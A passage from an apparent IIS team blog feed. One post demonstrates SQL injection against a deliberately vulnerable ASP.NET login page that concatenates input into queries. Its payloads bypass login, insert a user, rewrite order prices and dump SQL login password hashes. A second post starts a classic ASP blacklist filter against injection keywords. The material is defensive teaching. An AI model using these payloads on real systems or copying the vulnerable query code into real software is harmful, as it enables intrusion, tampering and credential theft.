    &lt;span class="kwrd"&gt;private&lt;/span&gt; SqlConnection _sqlConn = &lt;span class="kwrd"&gt;null&lt;/span&gt;;

    &lt;span class="kwrd"&gt;protected&lt;/span&gt; &lt;span class="kwrd"&gt;void&lt;/span&gt; ButtonLogin_Click(&lt;span class="kwrd"&gt;object&lt;/span&gt; sender, EventArgs e)
    {
        _username = Request[&lt;span class="str"&gt;"TextBoxUsername"&lt;/span&gt;];
        _password = Request[&lt;span class="str"&gt;"TextBoxPassword"&lt;/span&gt;];

        &lt;span class="kwrd"&gt;if&lt;/span&gt; (!IsNonEmptyCredentials())
        {
            LabelResult.Text = &lt;span class="str"&gt;"ERROR: Cannot have empty credentials."&lt;/span&gt;;
            &lt;span class="kwrd"&gt;return&lt;/span&gt;;
        }

        &lt;span class="kwrd"&gt;if&lt;/span&gt; (AttemptSQLLogin())
        {
            &lt;span class="rem"&gt;// Login succeeded&lt;/span&gt;
            
            &lt;span class="rem"&gt;// Fill order data&lt;/span&gt;
            FillOrderData();

            EnableLoggedInVisuals();

        }
        &lt;span class="kwrd"&gt;else&lt;/span&gt;
        {
            DisableLoggedInVisuals();
        }

    }

    &lt;span class="kwrd"&gt;protected&lt;/span&gt; &lt;span class="kwrd"&gt;bool&lt;/span&gt; IsNonEmptyCredentials()
    {
        &lt;span class="kwrd"&gt;if&lt;/span&gt; (_username == &lt;span class="kwrd"&gt;null&lt;/span&gt; ||
             _username.Length == 0 ||
             _password == &lt;span class="kwrd"&gt;null&lt;/span&gt; ||
             _password.Length == 0)
        {
            &lt;span class="kwrd"&gt;return&lt;/span&gt; &lt;span class="kwrd"&gt;false&lt;/span&gt;;
        }
        &lt;span class="kwrd"&gt;else&lt;/span&gt; &lt;span class="kwrd"&gt;return&lt;/span&gt; &lt;span class="kwrd"&gt;true&lt;/span&gt;;
 
    }

    &lt;span class="kwrd"&gt;protected&lt;/span&gt; &lt;span class="kwrd"&gt;bool&lt;/span&gt; AttemptSQLLogin()
    {
        &lt;span class="kwrd"&gt;try&lt;/span&gt;
        {
            _sqlConn = &lt;span class="kwrd"&gt;new&lt;/span&gt; SqlConnection(_connString);
            _sqlConn.Open();
        }
        &lt;span class="kwrd"&gt;catch&lt;/span&gt; (Exception ex)
        {
            LabelResult.Text = String.Format(
                &lt;span class="str"&gt;"ERROR: Failed to open SQL Connection: {0}"&lt;/span&gt;, ex.Message);
            &lt;span class="kwrd"&gt;return&lt;/span&gt; &lt;span class="kwrd"&gt;false&lt;/span&gt;;
        }

        SqlDataReader dataReader = &lt;span class="kwrd"&gt;null&lt;/span&gt;;

        &lt;span class="kwrd"&gt;string&lt;/span&gt; SQLQuery = String.Format(
            &lt;span class="str"&gt;"SELECT * FROM Users WHERE Username='{0}' AND Password='{1}'"&lt;/span&gt;, 
            _username, _password);

        SqlCommand command = &lt;span class="kwrd"&gt;new&lt;/span&gt; SqlCommand(SQLQuery, _sqlConn);

        &lt;span class="kwrd"&gt;try&lt;/span&gt;
        {
            dataReader = command.ExecuteReader(CommandBehavior.SingleResult);

            &lt;span class="kwrd"&gt;if&lt;/span&gt; (dataReader.HasRows)
            {
                LabelResult.Text = String.Format(&lt;span class="str"&gt;"Login success"&lt;/span&gt;);
                dataReader.Close();
                _loggedIn = &lt;span class="kwrd"&gt;true&lt;/span&gt;;
                &lt;span class="kwrd"&gt;return&lt;/span&gt; &lt;span class="kwrd"&gt;true&lt;/span&gt;;
            }
            &lt;span class="kwrd"&gt;else&lt;/span&gt;
            {
                LabelResult.Text = String.Format(
                    &lt;span class="str"&gt;"Login failed: Invalid credentials"&lt;/span&gt;);
                dataReader.Close();
                &lt;span class="kwrd"&gt;return&lt;/span&gt; &lt;span class="kwrd"&gt;false&lt;/span&gt;;
            }

        }
        &lt;span class="kwrd"&gt;catch&lt;/span&gt; (Exception ex)
        {
            LabelResult.Text = String.Format(
                &lt;span class="str"&gt;"ERROR: Failed to execute SQL command: {0}"&lt;/span&gt;, ex.Message);
            &lt;span class="kwrd"&gt;return&lt;/span&gt; &lt;span class="kwrd"&gt;false&lt;/span&gt;;
        }

        &lt;span class="rem"&gt;//return true;&lt;/span&gt;
    }

    &lt;span class="kwrd"&gt;protected&lt;/span&gt; &lt;span class="kwrd"&gt;bool&lt;/span&gt; FillOrderData()
    {
        SqlDataReader dataReader = &lt;span class="kwrd"&gt;null&lt;/span&gt;;

        &lt;span class="kwrd"&gt;if&lt;/span&gt; (!_loggedIn)
        {
            LabelResult.Text = &lt;span class="str"&gt;"No user logged it"&lt;/span&gt;;
            &lt;span class="kwrd"&gt;return&lt;/span&gt; &lt;span class="kwrd"&gt;false&lt;/span&gt;;
        }

        &lt;span class="kwrd"&gt;string&lt;/span&gt; SQLQuery = String.Format(
            &lt;span class="str"&gt;"SELECT Orders.OrderId, Orders.Amount, Orders.CreditCard "&lt;/span&gt;+
            &lt;span class="str"&gt;"FROM Users, Orders WHERE Users.Username='{0}' "&lt;/span&gt;+
            &lt;span class="str"&gt;"AND Users.UserId=Orders.UserId"&lt;/span&gt;, _username);

        SqlCommand command = &lt;span class="kwrd"&gt;new&lt;/span&gt; SqlCommand(SQLQuery, _sqlConn);

        &lt;span class="kwrd"&gt;try&lt;/span&gt;
        {
            dataReader = command.ExecuteReader(CommandBehavior.Default);

            GridView1.DataSource = dataReader;
            GridView1.DataBind();

            dataReader.Close();

            &lt;span class="kwrd"&gt;return&lt;/span&gt; &lt;span class="kwrd"&gt;true&lt;/span&gt;;
        }
        &lt;span class="kwrd"&gt;catch&lt;/span&gt; (Exception ex)
        {
            LabelResult.Text = String.Format(
                &lt;span class="str"&gt;"ERROR: Failed to execute SQL command: {0}"&lt;/span&gt;, ex.Message);
            &lt;span class="kwrd"&gt;return&lt;/span&gt; &lt;span class="kwrd"&gt;false&lt;/span&gt;;
        }
    }

    &lt;span class="kwrd"&gt;protected&lt;/span&gt; &lt;span class="kwrd"&gt;void&lt;/span&gt; ButtonLogout_Click(&lt;span class="kwrd"&gt;object&lt;/span&gt; sender, EventArgs e)
    {
        LabelResult.Text = &lt;span class="str"&gt;"Logged Out"&lt;/span&gt;;
        _loggedIn = &lt;span class="kwrd"&gt;false&lt;/span&gt;;
        _username = &lt;span class="str"&gt;""&lt;/span&gt;;
        _password = &lt;span class="str"&gt;""&lt;/span&gt;;
        DisableLoggedInVisuals();
    }

    &lt;span class="kwrd"&gt;protected&lt;/span&gt; &lt;span class="kwrd"&gt;void&lt;/span&gt; EnableLoggedInVisuals()
    {
        ButtonLogin.Enabled = &lt;span class="kwrd"&gt;false&lt;/span&gt;;
        ButtonLogin.Visible = &lt;span class="kwrd"&gt;false&lt;/span&gt;;
        LabelData.Visible = &lt;span class="kwrd"&gt;true&lt;/span&gt;;
        GridView1.Enabled = &lt;span class="kwrd"&gt;true&lt;/span&gt;;
        GridView1.Visible = &lt;span class="kwrd"&gt;true&lt;/span&gt;;
        ButtonLogout.Enabled = &lt;span class="kwrd"&gt;true&lt;/span&gt;;
        ButtonLogout.Visible = &lt;span class="kwrd"&gt;true&lt;/span&gt;;
        
    }

    &lt;span class="kwrd"&gt;protected&lt;/span&gt; &lt;span class="kwrd"&gt;void&lt;/span&gt; DisableLoggedInVisuals()
    {
        ButtonLogin.Enabled = &lt;span class="kwrd"&gt;true&lt;/span&gt;;
        ButtonLogin.Visible = &lt;span class="kwrd"&gt;true&lt;/span&gt;;
        LabelData.Visible = &lt;span class="kwrd"&gt;false&lt;/span&gt;;
        GridView1.Enabled = &lt;span class="kwrd"&gt;false&lt;/span&gt;;
        GridView1.Visible = &lt;span class="kwrd"&gt;false&lt;/span&gt;;
        ButtonLogout.Enabled = &lt;span class="kwrd"&gt;false&lt;/span&gt;;
        ButtonLogout.Visible = &lt;span class="kwrd"&gt;false&lt;/span&gt;;
        
    }
}
&lt;/pre&gt;&lt;/blockquote&gt;
&lt;style type="text/css"&gt;.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }
&lt;/style&gt;
&lt;pre class="csharpcode"&gt;&amp;nbsp;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Make sure you can access the website from your local machine. &lt;/li&gt;&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3&gt;&lt;font color="#008080"&gt;Making the SQL Injection Requests&lt;/font&gt;&lt;/h3&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Now onto the fun part. Let's say we have a user 'Foo' with password 'foo' in our Users table for the purpose of this exercise.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;u&gt;Trying an invalid user/password.&lt;/u&gt;&lt;/strong&gt; &lt;br&gt;&lt;br&gt;&lt;strong&gt;Username: Unknown &lt;br&gt;Password: unknown &lt;br&gt;&lt;/strong&gt;&lt;br&gt;&lt;a href="http://blogs.iis.net/blogs/nazim/WindowsLiveWriter/SQLInjectionDemo_CBBB/Screen1_2.jpg"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="244" alt="Screen1" src="http://blogs.iis.net/blogs/nazim/WindowsLiveWriter/SQLInjectionDemo_CBBB/Screen1_thumb.jpg" width="244" border="0"&gt;&lt;/a&gt; &lt;br&gt;&lt;br&gt;As expected we get a login failure. &lt;br&gt;&lt;br&gt;
&lt;li&gt;&lt;strong&gt;&lt;u&gt;Bypassing login for a known user. Let's say we know user 'Foo' exists.&lt;/u&gt;&lt;/strong&gt; &lt;br&gt;&lt;br&gt;&lt;strong&gt;Username: Foo'-- &lt;br&gt;Password: junk &lt;br&gt;&lt;/strong&gt;&lt;br&gt;&lt;a href="http://blogs.iis.net/blogs/nazim/WindowsLiveWriter/SQLInjectionDemo_CBBB/Screen2_2.jpg"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="434" alt="Screen2" src="http://blogs.iis.net/blogs/nazim/WindowsLiveWriter/SQLInjectionDemo_CBBB/Screen2_thumb.jpg" width="262" border="0"&gt;&lt;/a&gt; &lt;br&gt;&lt;br&gt;&lt;br&gt;By using '--' for commenting out the rest of the conditions in the query we have been able to skip password validation for user 'Foo' &lt;br&gt;&lt;br&gt;
&lt;li&gt;&lt;strong&gt;&lt;u&gt;Bypassing login for unknown user. Let's say we don't know any user on the site.&lt;/u&gt;&lt;/strong&gt; &lt;br&gt;&lt;br&gt;&lt;strong&gt;Username: ' OR 1=1-- &lt;br&gt;Password: junk &lt;br&gt;&lt;/strong&gt;&lt;br&gt;&lt;a href="http://blogs.iis.net/blogs/nazim/WindowsLiveWriter/SQLInjectionDemo_CBBB/Screen3_2.jpg"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="531" alt="Screen3" src="http://blogs.iis.net/blogs/nazim/WindowsLiveWriter/SQLInjectionDemo_CBBB/Screen3_thumb.jpg" width="270" border="0"&gt;&lt;/a&gt;&amp;nbsp; &lt;br&gt;&lt;br&gt;We used a tautology (1=1) to bypass all security checks. Notice that I know have the order information for *all* users. &lt;br&gt;
&lt;li&gt;&lt;strong&gt;&lt;u&gt;Injecting a new user. Let's say I want to add a user 'Hijack' with password 'This'.&lt;/u&gt;&lt;/strong&gt; &lt;br&gt;&lt;br&gt;&lt;strong&gt;Username: ';INSERT INTO Users VALUES (100,'Hijack','This')-- &lt;br&gt;Password: junk &lt;br&gt;&lt;/strong&gt;&lt;br&gt;&lt;a href="http://blogs.iis.net/blogs/nazim/WindowsLiveWriter/SQLInjectionDemo_CBBB/Screen4a_2.jpg"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="279" alt="Screen4a" src="http://blogs.iis.net/blogs/nazim/WindowsLiveWriter/SQLInjectionDemo_CBBB/Screen4a_thumb.jpg" width="279" border="0"&gt;&lt;/a&gt;&amp;nbsp; &lt;br&gt;&lt;br&gt;But now using those credentials succeeds. &lt;br&gt;&lt;br&gt;&lt;a href="http://blogs.iis.net/blogs/nazim/WindowsLiveWriter/SQLInjectionDemo_CBBB/Screen4b_2.jpg"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="337" alt="Screen4b" src="http://blogs.iis.net/blogs/nazim/WindowsLiveWriter/SQLInjectionDemo_CBBB/Screen4b_thumb.jpg" width="282" border="0"&gt;&lt;/a&gt; &lt;br&gt;&lt;br&gt;
&lt;li&gt;&lt;strong&gt;&lt;u&gt;Changing price of all orders to 0.01&lt;/u&gt;&lt;/strong&gt; &lt;br&gt;&lt;br&gt;&lt;strong&gt;Username: ';UPDATE Orders Set Amount=0.01-- &lt;br&gt;Password: junk &lt;br&gt;&lt;/strong&gt;&lt;br&gt;&lt;a href="http://blogs.iis.net/blogs/nazim/WindowsLiveWriter/SQLInjectionDemo_CBBB/Screen5a_2.jpg"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="293" alt="Screen5a" src="http://blogs.iis.net/blogs/nazim/WindowsLiveWriter/SQLInjectionDemo_CBBB/Screen5a_thumb.jpg" width="293" border="0"&gt;&lt;/a&gt; &lt;br&gt;&lt;br&gt;And using an earlier example to list all orders we see that all the prices have changed. &lt;br&gt;&lt;br&gt;&lt;a href="http://blogs.iis.net/blogs/nazim/WindowsLiveWriter/SQLInjectionDemo_CBBB/Screen5b_2.jpg"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="685" alt="Screen5b" src="http://blogs.iis.net/blogs/nazim/WindowsLiveWriter/SQLInjectionDemo_CBBB/Screen5b_thumb.jpg" width="296" border="0"&gt;&lt;/a&gt;&amp;nbsp; &lt;br&gt;&lt;br&gt;&lt;br&gt;
&lt;li&gt;&lt;strong&gt;&lt;u&gt;Injecting SQL users and password hashes into the Orders table and getting it to display&lt;/u&gt;&lt;/strong&gt; &lt;br&gt;&lt;br&gt;So this is a little tricky. sys.sql_logins table has the information of interest. But how do we go about displaying it. &lt;br&gt;The answer is simple, we inject all the information into the Orders table and get the query to display it. &lt;br&gt;&lt;br&gt;&lt;strong&gt;Username: 'OR 1=1;INSERT INTO Orders (OrderId, UserId, Amount, CreditCard) SELECT principal_id+1000,principal_id+1000,principal_id*1.0,name FROM sys.sql_logins UNION SELECT principal_id+1000,principal_id+1000,principal_id*1.0,master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins-- &lt;br&gt;Password: junk &lt;br&gt;&lt;/strong&gt;&lt;br&gt;&lt;a href="http://blogs.iis.net/blogs/nazim/WindowsLiveWriter/SQLInjectionDemo_CBBB/Screen6_2.jpg"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="596" alt="Screen6" src="http://blogs.iis.net/blogs/nazim/WindowsLiveWriter/SQLInjectionDemo_CBBB/Screen6_thumb.jpg" width="588" border="0"&gt;&lt;/a&gt; &lt;br&gt;&lt;br&gt;Now that we have user names and password hashes, you could use one of several external hash cracking tools to actually get to the password. &lt;br&gt;&lt;br&gt;&lt;/li&gt;&lt;/ol&gt;
&lt;h3&gt;&lt;font color="#008080"&gt;Conclusion&lt;/font&gt;&lt;/h3&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;It is quite easy to see how quickly one can invade a system through the use of SQL injection. The million dollar question is "How do I protect myself "? The answer is, follow best practices.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Sanitize your input using both black lists and white lists. 
&lt;li&gt;Use parameterized SQL and NEVER use string concatenation to generate queries. 
&lt;li&gt;Protect your database resources wisely and use the notion of "least privilege" to access information. &lt;/li&gt;&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Hope this helped in making SQL injection a more concrete issue to protect your applications against, rather than a buzz word.&lt;/p&gt;&lt;img src="http://blogs.iis.net/aggbug.aspx?PostID=2330990" width="1" height="1"&gt;</description></item><item><title>Filtering SQL injection from Classic ASP</title><link>http://blogs.iis.net/nazim/archive/2008/04/28/filtering-sql-injection-from-classic-asp.aspx</link><pubDate>Mon, 28 Apr 2008 18:53:00 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:2325776</guid><dc:creator>naziml</dc:creator><slash:comments>82</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.iis.net/nazim/rsscomments.aspx?PostID=2325776</wfw:commentRss><comments>http://blogs.iis.net/nazim/archive/2008/04/28/filtering-sql-injection-from-classic-asp.aspx#comments</comments><description>&lt;p class="MsoNormal" style="text-justify: inter-ideograph; margin: 0in 0in 10pt; text-align: justify"&gt;&lt;font face="Calibri" size="3"&gt;SQL injection may be over a decade old, but even the best of us need a reminder once in a while. You should always validate input to your applications! There isn&amp;#8217;t a &amp;#8216;one size fits all&amp;#8217; solution to sanitizing input, so I will attempt to show what a general solution might look like for classic ASP (using VBScript). Remember, you need to keep in mind the specifics of your web application and add/remove things in the sample accordingly. &lt;/font&gt;&lt;font face="Calibri" size="3"&gt;So even though I am focusing on SQL injection here, input validation needs to be done to even prevent cross-site scripting attacks, among others. Check &lt;a class="" href="http://support.microsoft.com/kb/252985/" mce_href="http://support.microsoft.com/kb/252985/"&gt;this article&lt;/a&gt; on how to prevent XSS to give you an idea of other sorts of validation that would need to be done on user input to secure a web application. If you are looking for something for ASP.NET check out &lt;a href="http://forums.asp.net/t/1254125.aspx"&gt;this post&lt;/a&gt; from Stefan on the ASP.NET team. &lt;/font&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-justify: inter-ideograph; margin: 0in 0in 10pt; text-align: justify"&gt;&lt;font face="Calibri" size="3"&gt;&lt;/font&gt;&lt;/p&gt;  &lt;blockquote&gt;   &lt;p class="MsoNormal" style="text-justify: inter-ideograph; margin: 0in 0in 10pt; text-align: justify"&gt;&lt;font face="Calibri" size="3"&gt;&lt;strong&gt;Now that UrlScan v3.,0 Beta (&lt;/strong&gt;&lt;a href="http://iis.net/1697/ItemPermalink.ashx"&gt;&lt;strong&gt;x86&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;, &lt;/strong&gt;&lt;a href="http://iis.net/1698/ItemPermalink.ashx"&gt;&lt;strong&gt;x64&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;) is out I would highly recommend using that instead of this script. There is also a &lt;/strong&gt;&lt;a href="http://learn.iis.net/page.aspx/473/using-urlscan"&gt;&lt;strong&gt;walk-through&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt; for it on implementing &lt;/strong&gt;&lt;a href="http://learn.iis.net/page.aspx/476/common-urlscan-scenarios/"&gt;&lt;strong&gt;SQL injection blocking configuration&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt;&lt;/font&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p class="MsoNormal" style="text-justify: inter-ideograph; margin: 0in 0in 10pt; text-align: justify"&gt;&lt;font face="Calibri" size="3"&gt;&lt;/font&gt;&lt;/p&gt;  &lt;blockquote&gt;   &lt;p class="MsoNormal" style="text-justify: inter-ideograph; margin: 0in 0in 10pt; text-align: justify"&gt;&lt;font face="Calibri" color="#ff0000" size="3"&gt;&lt;u&gt;&lt;strong&gt;Please note:&lt;/strong&gt;&lt;/u&gt;&lt;/font&gt;&lt;/p&gt;    &lt;p class="MsoNormal" style="text-justify: inter-ideograph; margin: 0in 0in 10pt; text-align: justify"&gt;&lt;font color="#ff0000"&gt;&lt;font face="Calibri" size="3"&gt;The purpose of this sample is to get folks off the ground and up and running. This is not intended to be a long-term solution to solving SQL injection attacks against your application. &lt;/font&gt;&lt;font face="Calibri" size="3"&gt;Using black lists like in the sample tend to give a lot of false positives that make many applications unusable. Increasing complexity in the list to avoid this leads to performance issues. Also, such simplistic signatures can be worked around by determined hackers. Consider UN/**/ION for example.&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;    &lt;p class="MsoNormal" style="text-justify: inter-ideograph; margin: 0in 0in 10pt; text-align: justify"&gt;&lt;font face="Calibri" size="3"&gt;&lt;font color="#ff0000"&gt;You want to use white lists and rules to sanitize input. You should restrict your web application to &lt;/font&gt;&lt;a href="http://support.microsoft.com/kb/q164485/"&gt;&lt;font color="#ff0000"&gt;using stored procedures and calling them using parameterized SQL APIs&lt;/font&gt;&lt;/a&gt;&lt;font color="#ff0000"&gt;.&lt;/font&gt;&lt;/font&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p class="MsoNormal" style="text-justify: inter-ideograph; margin: 0in 0in 10pt; text-align: justify"&gt;&lt;font face="Calibri" size="3"&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-justify: inter-ideograph; margin: 0in 0in 10pt; text-align: justify"&gt;&lt;font face="Calibri" size="3"&gt;The way this sample is constructed is that I have a script that checks certain inputs against a &amp;#8216;black list&amp;#8217; of strings, and if I find a match I redirect to an error page. This script can then be &amp;#8216;included&amp;#8217; into all public facing application scripts that process user input. There are 3 pieces to this solution: the script with the filtering logic, a sample application that will &amp;#8216;include&amp;#8217; the filtering script and an error page we would forward to. I have added comments to the scripts themselves, so you have the reminders in front of you. Several folks asked about a send email script, so I have included a sample script for that as well. You will need to incorporate it into your application appropriately. Make sure you read the comments in the code as well for all the assumptions. The right way to do db access from web applications is to use parameterized SQL. Check out Neil&amp;#160; Carpenter's blog &lt;a href="http://blogs.technet.com/neilcar/archive/2008/05/21/sql-injection-mitigation-using-parameterized-queries.aspx"&gt;here&lt;/a&gt; on what this looks like.&lt;/font&gt;&lt;/p&gt;  &lt;h1 style="margin: 10pt 0in 0pt"&gt;&lt;span style="mso-fareast-font-family: &amp;#39;Times New Roman&amp;#39;"&gt;     &lt;p&gt;&lt;font face="Calibri" color="#17365d" size="5"&gt;&lt;/font&gt;&amp;#160;&lt;/p&gt;   &lt;/span&gt;&lt;/h1&gt;  &lt;h1 style="margin: 10pt 0in 0pt"&gt;&lt;span style="mso-fareast-font-family: &amp;#39;Times New Roman&amp;#39;"&gt;&lt;font size="5"&gt;&lt;font color="#17365d"&gt;&lt;font face="Calibri"&gt;SqlCheckInclude.asp            &lt;p mce_keep="true"&gt;&amp;#160;&lt;/p&gt;         &lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/span&gt;&lt;/h1&gt;  &lt;p&gt;&lt;font face="Calibri" size="3"&gt;&lt;/font&gt;&amp;#160;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 0in 0in 10pt"&gt;&lt;font face="Calibri" size="3"&gt;This is the code that does the main filtering. Copy the code below into an ASP file and modify according to your needs. The main things you need to add/modify for your needs are the BlackList array and the ErrorPage you want to forward to. Deploy this file in a location that will be accessible to all your web applications. Make sure that the path to your error page is correct. Use a full path here if possible, since this code will get &amp;#8216;included&amp;#8217; into several applications that may all reside in different physical directories.&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;&lt;font size="2"&gt;&lt;/font&gt;&lt;/p&gt;  &lt;pre class="csharpcode"&gt;&amp;lt;% 
&lt;span class="rem"&gt;'  SqlCheckInclude.asp&lt;/span&gt;
&lt;span class="rem"&gt;'&lt;/span&gt;
&lt;span class="rem"&gt;'  Author: Nazim Lala&lt;/span&gt;
&lt;span class="rem"&gt;'&lt;/span&gt;
&lt;span class="rem"&gt;'  This is the include file to use with your asp pages to &lt;/span&gt;
&lt;span class="rem"&gt;'  validate input for SQL injection.&lt;/span&gt;


&lt;span class="kwrd"&gt;Dim&lt;/span&gt; BlackList, ErrorPage, s

&lt;span class="rem"&gt;'&lt;/span&gt;
&lt;span class="rem"&gt;'  Below is a black list that will block certain SQL commands and &lt;/span&gt;
&lt;span class="rem"&gt;'  sequences used in SQL injection will help with input sanitization&lt;/span&gt;
&lt;span class="rem"&gt;'&lt;/span&gt;
&lt;span class="rem"&gt;'  However this is may not suffice, because:&lt;/span&gt;
&lt;span class="rem"&gt;'  1) These might not cover all the cases (like encoded characters)&lt;/span&gt;
&lt;span class="rem"&gt;'  2) This may disallow legitimate input&lt;/span&gt;
&lt;span class="rem"&gt;'&lt;/span&gt;
&lt;span class="rem"&gt;'  Creating a raw sql query strings by concatenating user input is &lt;/span&gt;
&lt;span class="rem"&gt;'  unsafe programming practice. It is advised that you use parameterized&lt;/span&gt;
&lt;span class="rem"&gt;'  SQL instead. Check http://support.microsoft.com/kb/q164485/ for information&lt;/span&gt;
&lt;span class="rem"&gt;'  on how to do this using ADO from ASP.&lt;/span&gt;
&lt;span class="rem"&gt;'&lt;/span&gt;
&lt;span class="rem"&gt;'  Moreover, you need to also implement a white list for your parameters.&lt;/span&gt;
&lt;span class="rem"&gt;'  For example, if you are expecting input for a zipcode you should create&lt;/span&gt;
&lt;span class="rem"&gt;'  a validation rule that will only allow 5 characters in [0-9].&lt;/span&gt;
&lt;span class="rem"&gt;'&lt;/span&gt;

BlackList = Array(&lt;span class="str"&gt;&amp;quot;--&amp;quot;&lt;/span&gt;, &lt;span class="str"&gt;&amp;quot;;&amp;quot;&lt;/span&gt;, &lt;span class="str"&gt;&amp;quot;/*&amp;quot;&lt;/span&gt;, &lt;span class="str"&gt;&amp;quot;*/&amp;quot;&lt;/span&gt;, &lt;span class="str"&gt;&amp;quot;@@&amp;quot;&lt;/span&gt;, &lt;span class="str"&gt;&amp;quot;@&amp;quot;&lt;/span&gt;,_
                  &lt;span class="str"&gt;&amp;quot;char&amp;quot;&lt;/span&gt;, &lt;span class="str"&gt;&amp;quot;nchar&amp;quot;&lt;/span&gt;, &lt;span class="str"&gt;&amp;quot;varchar&amp;quot;&lt;/span&gt;, &lt;span class="str"&gt;&amp;quot;nvarchar&amp;quot;&lt;/span&gt;,_
                  &lt;span class="str"&gt;&amp;quot;alter&amp;quot;&lt;/span&gt;, &lt;span class="str"&gt;&amp;quot;begin&amp;quot;&lt;/span&gt;, &lt;span class="str"&gt;&amp;quot;cast&amp;quot;&lt;/span&gt;, &lt;span class="str"&gt;&amp;quot;create&amp;quot;&lt;/span&gt;, &lt;span class="str"&gt;&amp;quot;cursor&amp;quot;&lt;/span&gt;,_
                  &lt;span class="str"&gt;&amp;quot;declare&amp;quot;&lt;/span&gt;, &lt;span class="str"&gt;&amp;quot;delete&amp;quot;&lt;/span&gt;, &lt;span class="str"&gt;&amp;quot;drop&amp;quot;&lt;/span&gt;, &lt;span class="str"&gt;&amp;quot;end&amp;quot;&lt;/span&gt;, &lt;span class="str"&gt;&amp;quot;exec&amp;quot;&lt;/span&gt;,_
                  &lt;span class="str"&gt;&amp;quot;execute&amp;quot;&lt;/span&gt;, &lt;span class="str"&gt;&amp;quot;fetch&amp;quot;&lt;/span&gt;, &lt;span class="str"&gt;&amp;quot;insert&amp;quot;&lt;/span&gt;, &lt;span class="str"&gt;&amp;quot;kill&amp;quot;&lt;/span&gt;, &lt;span class="str"&gt;&amp;quot;open&amp;quot;&lt;/span&gt;,_
                  &lt;span class="str"&gt;&amp;quot;select&amp;quot;, &lt;/span&gt;&lt;span class="str"&gt;&amp;quot;sys&amp;quot;&lt;/span&gt;, &lt;span class="str"&gt;&amp;quot;sysobjects&amp;quot;&lt;/span&gt;, &lt;span class="str"&gt;&amp;quot;syscolumns&amp;quot;&lt;/span&gt;,_
                  &lt;span class="str"&gt;&amp;quot;table&amp;quot;&lt;/span&gt;, &lt;span class="str"&gt;&amp;quot;update&amp;quot;&lt;/span&gt;)

&lt;span class="rem"&gt;'  Populate the error page you want to redirect to in case the &lt;/span&gt;
&lt;span class="rem"&gt;'  check fails.&lt;/span&gt;

ErrorPage = &lt;span class="str"&gt;&amp;quot;/ErrorPage.asp&amp;quot;&lt;/span&gt;
               
&lt;span class="rem"&gt;'''''''''''''''''''''''''''''''''''''''''''''''''''               &lt;/span&gt;
&lt;span class="rem"&gt;'  This function does not check for encoded characters&lt;/span&gt;
&lt;span class="rem"&gt;'  since we do not know the form of encoding your application&lt;/span&gt;
&lt;span class="rem"&gt;'  uses. Add the appropriate logic to deal with encoded characters&lt;/span&gt;
&lt;span class="rem"&gt;'  in here &lt;/span&gt;
&lt;span class="rem"&gt;'''''''''''''''''''''''''''''''''''''''''''''''''''&lt;/span&gt;
&lt;span class="kwrd"&gt;Function&lt;/span&gt; CheckStringForSQL(str) 
  &lt;span class="kwrd"&gt;On&lt;/span&gt; &lt;span class="kwrd"&gt;Error&lt;/span&gt; &lt;span class="kwrd"&gt;Resume&lt;/span&gt; &lt;span class="kwrd"&gt;Next&lt;/span&gt; 
  
  &lt;span class="kwrd"&gt;Dim&lt;/span&gt; lstr 
  
  &lt;span class="rem"&gt;' If the string is empty, return true&lt;/span&gt;
  &lt;span class="kwrd"&gt;If&lt;/span&gt; ( IsEmpty(str) ) &lt;span class="kwrd"&gt;Then&lt;/span&gt;
    CheckStringForSQL = &lt;span class="kwrd"&gt;false&lt;/span&gt;
    &lt;span class="kwrd"&gt;Exit&lt;/span&gt; &lt;span class="kwrd"&gt;Function&lt;/span&gt;
